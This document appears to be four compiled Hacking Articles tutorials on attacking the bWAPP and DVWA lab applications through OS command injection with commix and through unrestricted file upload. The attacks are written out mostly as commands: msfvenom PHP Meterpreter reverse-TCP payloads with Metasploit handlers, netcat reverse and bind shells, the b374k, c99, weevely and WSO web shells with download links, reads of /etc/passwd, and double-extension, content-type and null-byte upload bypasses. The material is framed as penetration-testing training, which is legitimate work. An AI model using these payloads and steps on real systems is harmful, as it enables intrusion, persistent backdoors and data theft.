Command Injection to Meterpreter using Commix

In this article I will show how easily you can hack a web server using commix tool if the severe is suffering from OS command injection vulnerbility and try to access meterpreter shell.

Attaker: kali Linux

Target: bwapp

Download it from here and install and run it with VM ware.

Being an attacker browser target IP in browse:192.168.0.105/bwapp, now Login with bee:bug as credential and select OS command injection from choose your bug; then click on hack.

Here requested web page gets open where you can execute any command. Now I will start burp suite to capture the request. In order to start intercept click the proxy tab and turn on intercept; don’t forget to run proxy inside the browser. Now give any command like IP: 192.168.0.105 and click on lookup.

Inside burp suite you will get the post request has been captured. Here we have victim’s details which will be helpful for making an attack on its web server. Now select the whole data from POST……. &form=submit then copied it and saved in a text file. I had saved it as os.txt and further use it with commix.

In previous tutorial we had used manual step inside commix to execute the given command for making attack but here the step is more easy and convenience to apply for making an attack. Now Type following command for commix to start attack.

Commix –r /root/Desktop/os.txt

Hit enter or press Y as reply of every question. From given screenshot you can see I have got the victim’s shell and here I had executed following command to retrieve victim’s detail.

Whoami

Id

Now start reverse tcp connection using below steps.

commix(os_shell) > reverse_tcp

commix(reverse_tcp) > set LHOST 192.168.0.104

commix(reverse_tcp) > set LPORT 8888

 Option asks by commix to set backdoor for connection Type ‘2’ for other reverse TCP shells.

commix(reverse_tcp) > 2

Option asks by commix to set target Type ‘5’ to use php meterpreter reverse tcp shell.

 commix(reverse_tcp) >5

Copy the highlighted text and paste it on anther terminal which will load metasploit framework and start multi handler automatically at background.

Once the metasploit get loaded then move back to previous terminal where commix is running hit enter here.

From given screenshot you can see I have got meterpreter shell.

Meterpreter>sysinfo

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Exploit Command Injection Vulnearbility with Commix and Netcat

In this article I will show how easily you can hack a web server using commix tool if the severe is suffering from OS command injection vulnerbility.

Attaker: kali Linux

Target: bwapp

 Download it from here and install and run it with VM ware.

Being an attacker browser target IP in browse:192.168.0.105/bwapp, now Login with bee:bug as credential and select OS command injection from choose your bug; then click on hack.

Here requested web page gets open where you can execute any command. Now I will start burp suite to capture the request. In order to start intercept click the proxy tab and turn on intercept; don’t forget to run proxy inside the browser. Now give any command like IP: 192.168.0.105 and click on lookup.

Inside burp suite you will get the post request has been captured. Here we have victim’s details which will be helpful for making an attack on its web server. Now select the whole data from POST…….&form=submit then copied it and saved in a text file. I had saved it as os.txt and further use it with commix.

In previous tutorial we had used manual step inside commix to execute the given command for making attack but here the step is more easy and convenience to apply for making an attack. Now Type following command for commix to start attack.

Commix –r /root/Desktop/os.txt

 Hit enter or press Y as reply of every question.

From given screenshot you can see I have got the victim’s shell and here I had executed following command to retrieve victim’s detail.

Whoami

Id

In next step I have tried to connect victim from netcat shell; open other terminal and type following command to start listener through netcat : nc –lvp 4444

Now start reverse tcp connection using netcat through commix and follow below steps.

commix(os_shell) > reverse_tcp

commix(reverse_tcp) > set LHOST 192.168.0.104

commix(reverse_tcp) > set LPORT 4444

 Option asks by commix to set backdoor for connection Type ‘1’ for netcat reverse TCP shells.

commix(reverse_tcp) > 1

Option asks by commix to set target Type ‘1’ to use default netcat on target host.

 commix(reverse_tcp) >1

On other terminal you will get reverse connection on netcat again type following command

Whoami

Id

 Here you will see the result of commix shell and netcat is exactly same.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Web Shells Penetration Testing (Beginner Guide)

Through this article I would like to share file uploading using different type web shell scripts on a web server and try to get unauthorized access in the server.

Web shells are the scripts that are coded in different languages like PHP, Python, ASP, Perl and many other languages which further use as backdoor for unauthorized access in any server by uploading it on a web server.

Once the shell get uploaded on the target location, the attacker may able to perform the read and write operation directly, he will be able to edit any file or delete the file from the server.

 Attacker: Kali Linux

Target: Bwapp

Let’s begin!!!

 B374k Shell

 Open terminal and type following command to download b374k script from github.

 Git clone https://github.com/b374k/b374k

 This is a PHP shell which provides reveres connection to the attacker machine and where he can execute the command to retrieve victim’s information.

Following command will create a malicious file shell.php as the backdoor shell with password raj123.

Php –f index.php — -o shell.php –p raj123

Now let’s open the target IP in browser: 192.168.1.103:81/bWAPP/login.php. Enter user and password as bee and bug respectively.

Set security level low, from list box chooses your bug select Unrestricted File Upload now and click on hack.

Here you can see the web server allow us to upload an image under the web page of unrestricted file upload.

Click on browse to upload the shell.php in the web server and then click on upload.

Now you can read the message from the screenshot that”image has been uploaded here” which means our php backdoor is uploaded successfully. Now click on the link “here”.

Here required password to execute shell.php and I had given raj123 as its password.

From given screenshot you can see, we are inside the directory of images.

Click on terminal tab from menu bar of b374k which will provide victims terminal to execute the desired commands. From given image you can read the command which I have executed.

Lsb_release -a

Now I will connect b347k shell from netcat and try to access victim’s shell. Open the terminal in kali Linux and type following command for netcat.

nc 192.168.0.103 8888

 Inside shell b347k from menu select network option to open bind connection give IP of target: 192.168.0.103 as server IP and port 8888 now scroll down the list and select Perl then click on run.

This will give you reverse connection on netcat and from the given screenshot you can read the victim information which I have got when I execute the following commands.

Whoami

Cat/etc/passwd

C99shell Shell

Download c99shell from the given link

https://github.com/tennc/webshell/tree/master/php/PHPshell/c99shell

 C99shell is a PHP backdoor which provides details of files and folders when it get uploaded and let you perform command execution through it.

This time again open web server IP in the browser to upload the c99shell.php

Here you can read the message from the screenshot that”image has been uploaded here” which means our php backdoor is uploaded successfully. Now click on the link “here”.

Here our php malicious file is executed where it is dumping the names of 25 files. From screenshot you can see all files under images directory are jpg, png, gif images.

Now select bind option from menu to connect host from netcat. Repeat the same process to run netcat at the background and then give host IP: 192.168.0.103 and port: 8888 select using Perl and click on connect.

This  will give you reverse connection on netcat.

Weevely Web Shell

Weevely is a command line web shell dynamically extended over the network at runtime, designed for remote server administration and penetration testing.

Its terminal executes arbitrary remote code through the small footprint PHP agent that sits on the HTTP server. Over 30 modules shapes an adaptable web administration and post-exploitation backdoor for access maintenance, privilege escalation and network lateral movement, even in restricted environment.

Open the terminal and type following command which will create a web shell as backdoor.php on the Desktop with password pass.

 weevely generate raj123 /root/Desktop/weevely.php

Open the target location where you want to upload your backdoor. Now I am going to browse weevely.php and then click on upload to upload your web shell. Now you can see from the given screenshot the weevely.php has been successfully uploaded.

Make right click on the link “here” and click on copy link location.

Again type following command to start the attack on the web server and post above copied URL with password raj123 inside the weevely command.

weevely http://192.168.1.103:81/bWAPP/images/weevely.php raj123

 Now you can see that I have got victim shell through Weevely. Now type following command to retrieve victim’s information.

Whoami

Cat/etc/password

Type help in front of weevely which will show all module present inside it.

WSO Shell

 Download this script from given link.

https://cloud.github.com/downloads/orbweb/PHP-SHELL-WSO/wso2.5.1.php

 This also a PHP script which is quite similar to c99shell.php & b347k.php shells and perform same function as c99 script.

Again repeat the same process to upload wso2.5.1.php script inside the bwapp then click on link “here”.

After executing the shell, you will see it has retrieved the basic information of target and dump the files and folder names.

Now all options are same as above, now try yourself to connect this shell with netcat.

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

5 ways to File upload vulnerability Exploitation

File upload vulnerability is a major problem with web based applications. In many web servers this vulnerability depends entirely on purpose, that allows an attacker to upload a file with malicious code in it that can be executed on the server. An attacker might be able to put a phishing page into the website or deface the website.

Attacker may reveal internal information of web server to other and in some chances to sensitive data might be informal, by unauthorized people.

In this tutorial we are going to disscuss various types of file upload vulnerbility and then try to exploit them. You will learn the different injection techniques to upload a malicious file of php in a web server and exploit them.

Basic file upload

 In this scenario a simple php file will get uploaded on the web server without any restrictions, here server does not check the content- type or file extensions to be uploaded.

For example if server allows to upload a text file or image, which is considered as data and if security parameter is low where as no restrictions  on the content-type or filename then you can easily bypass malicious php file which is considered as application in the web server.

 Let’s start!!!

Click on DVWA Security and set Website Security Level low

Open terminal in kali linux and create php backdoor through following command

 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=4444 -f raw

 Copy and paste the highlighted code in leafpad and save as with PHP extension as img.php on the desktop.

Load metasploit framework type msfconsole and start multi handler.

Come back to your DVWA lab and click to file upload option from vulnerability menu.

Now click on browse tag to browse img.php file to upload it on web server and click on upload which will upload your file on web server.

After uploading the PHP file it will show the path of directory where your file is successfully uploaded now copy the selected part and paste it in URL to execute it.

hackable/uploads/img.php

msf > use multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.104

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

meterpreter > sysinfo

You can observe, I have got meterpreter session 1 of victim PC on the metasploit.

Double Extension injection Technique

 Click on DVWA Security and set Website Security Level medium

 Here we come across a situation where it would check the file extension. In medium security it only allows .jpeg and .png extension file to be uploaded on the web server and restricts other files with single file extension while uploading in the web server. Now there are some techniques through which we will bypass the malicious PHP file in the web server.

It is an attempt to hide the real nature of a file by inserting multiple extensions with filename which creates confusion for security parameters. For example img1.php.png look like png image which is a data not an application but when the file is uploaded with double extension it will execute php file which is an application.

Let’s continue!!!

 Repeat same process to create the php backdoor with msfvenom and now save the file as img1.php.png on desktop and run the multi handler at the background.

Since this file will get upload in medium security which is little different from low security as this will apparently check the extension of file as well as read the file name.

 Click to file upload option from vulnerability menu. Again click on browse button to browse img1.php.png file to upload it. Now start burp suite and make intercept on under proxy tab.  Don’t forget to set manual proxy of your browser and click on upload.

Intercept tab will work to catch the sent request of the post method when you click to upload button.  Now change img1.php.png into img1.php inside the fetched data.

Compare the change before uploading your PHP file. After altering click on forward to upload PHP file in directory.

After uploading the PHP file it will show the path of directory where your file is successfully uploaded now copy the selected part and paste it in URL to execute it.

hackable/uploads/img1.php

This’ll provide a meterpreter session 2 when you run URL in browser.

 meterpreter > sysinfo

Content Type file Upload

 “Content-Type” entity in the header of the request indicates the internal media type of the message content. Sometimes web applications use this parameter in order to recognize a file as a valid one. For instance, they only accept the files with the “Content-Type” of “text/plain”. It is possible to bypass this protection by changing this parameter in the request header using a web proxy.

Again repeat the same process to create the php backdoor with msfvenom and now save the file as img2.php on desktop and run the multi handler at the background.

Start burp suite and repeat the process for fetching the sent request. In the screenshot you can read the content- type for php file; now change this content type application/x-php into image/png to upload your php file.

From below image you can perceive the manipulation in content type which known as content-type injection technique.

Now copy the selected part and past it in URL to execute it.

hackable/uploads/img2.php

This’ll provide a meterpreter session 3 when you run URL in browser.

 meterpreter > sysinfo

Null byte Injection

 Null Byte Injection is an exploitation technique which uses URL-encoded null byte characters (i.e. %00, or 0x00 in hex) to the user-supplied data. A null byte in the URL is represented by ‘%00’ which in ASCII is a “” (blank space).This injection process can alter the intended logic of the application and allow malicious adversary to get unauthorized access to the system files.

Now here you will see I have inserted a string at the end of extension and change that string into its  hex  value and then replace that hex value from null byte character ‘%00’. The reason behind inserting a null byte value is that, some application servers scripting language still use c/c++ libraries to check the filename and content. In c/c++  a line ends with /00 is called null byte.

Hence when the compiler studies a null byte at the end of the string, it will assume that it has arrived at the end of string and stop further reading of string.

Now create the php backdoor with msfvenom and now save the file as img3.php.jpg on desktop and run the multi handler at the background.

Start burp suite and repeat the process for fetching the sent request. It look same like double extension file but here the technique is quite different from double extension file uploading.

Add any string or alphabet as shown in the screenshot here and you will notice that in the highlighted text I have made change in img3.php.jpg into img3.phpD.jpg, now follow the next step will be to modify this string into null byte.

In next step we will decode the inserted string; now decode your string or alphabet as I had given ‘D’ now decodes it into hex which will tell its hex value and from screenshot you can read its hex value is 44.

Now click on hex option under intercept which will display the hex value of intercepted data. Here you can read the hex value for the file name which I have highlighted. In order to null exploitation replace the hex value 44 from null byte value 00.

Now you can perceive the changes from the given screenshot where I have injected the null value in the place of hex value of our inserted string.

When again you will view the raw data, now here you will find that the string ’D’ is changed into null byte value.

Now forward the intercepted data to exploit file upload through null byte injection technique. Great!!! We have bypass the medium security now copy the uploaded path and past it in URL to execute it.

When you will run the path it will give you reverse connection on metasploit and from the given screenshot you can see I have got meterpreter session 4 also.

Blacklisting File Extensions

 Next target is bwapp which is another web server Set security level medium, from list box choose your bug and select Unrestricted File Upload now and click on hack

Some sever side scripting language check .php extension at filename and allow only those file which does not contain .php extension. Here we can inject our file by changing a number of letters to their capital forms to bypass the case sensitive rule, for example PHp or PHP3.

Now create the php backdoor with msfvenom and now save the file as img4.php3 on desktop and run the multi handler at the background.

Then browse img4.php3 to upload in web server and click on upload tab. Here in medium security it will allow the php file to get upload on web server and from given screenshot you can see my php file is successfully uploaded.  Now click on the link here and you will get reverse connection at multi handler.

msf > use multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.104

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit

meterpreter > sysinfo

Great!!!  You can see I have got meterpreter session 1.

Source: https://www.owasp.org/index.php/Unrestricted_File_Upload

Author: AArti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here

Related Posts Plugin for WordPress, Blogger...